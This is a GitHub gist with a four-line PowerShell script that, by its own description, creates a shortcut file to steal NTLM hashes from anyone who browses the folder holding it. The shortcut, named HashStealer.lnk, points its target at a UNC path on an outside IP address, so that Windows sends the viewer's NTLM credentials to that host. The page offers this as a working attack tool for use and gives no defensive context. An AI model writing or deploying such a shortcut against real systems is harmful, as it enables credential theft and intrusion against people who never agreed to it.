Created
September 21, 2023 08:13
-
-
Save caueb/0442d9c04369459d3a6d0e167ee0a843 to your computer and use it in GitHub Desktop.
Create a shortcut to steal NTLM hashes. Target just need to browse the folder where the shortcut is located.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$shell = New-Object -ComObject WScript.Shell | |
$shortcut = $shell.CreateShortcut("$env:USERPROFILE\\Desktop\\HashStealer.lnk") | |
$shortcut.TargetPath = '\\\\192.168.150.134\\tools\\app.ico' | |
$shortcut.Save() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment